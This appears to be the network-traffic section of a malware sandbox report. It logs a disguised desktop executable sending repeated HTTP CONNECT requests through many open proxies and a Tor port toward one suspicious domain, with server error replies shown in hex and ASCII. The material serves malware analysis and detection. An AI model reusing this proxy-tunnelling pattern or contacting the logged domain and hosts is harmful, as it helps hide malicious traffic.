Mar 11, 2024 16:42:19.230475903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.384846926 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.11	50584	185.238.228.202	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.231043100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.385278940 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.11	50588	104.21.223.181	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.231168985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.385518074 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.11	50452	51.158.105.107	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.231353045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.891627073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.797930002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.689121962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.376739979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.986911058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.263428926 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.11	50410	120.79.101.0	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.233102083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.581964970 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 33 38 37 33 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908313873"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.11	50440	39.105.5.126	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.235378981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.559737921 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 33 35 37 37 36 34 33 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003903577643"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.11	50412	212.108.145.195	9090	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.241322994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.11	50521	174.136.57.169	30453	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.242659092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.751029968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.376040936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.610482931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.142168045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.722968102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.329581976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.329432964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.157208920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.11	50609	104.16.109.207	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.244365931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.399625063 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.11	50536	23.95.209.142	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.247772932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.11	50398	36.92.193.189	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.254723072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.063477039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.266674995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.004854918 CET	818	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:24 GMT Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=utf-8 Content-Language: en Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0d 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 53 65 72 76 65 72 20 65 72 72 6f 72 21 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 69 6e 66 6f 40 72 73 68 62 2d 6c 61 6d 70 75 6e 67 2e 63 6f 2e 69 64 22 20 2f 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0d 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 65 72 72 6f 72 21 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>Server error!</title><link rev="made" href="mailto:info@rshb-lampung.co.id" /><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: 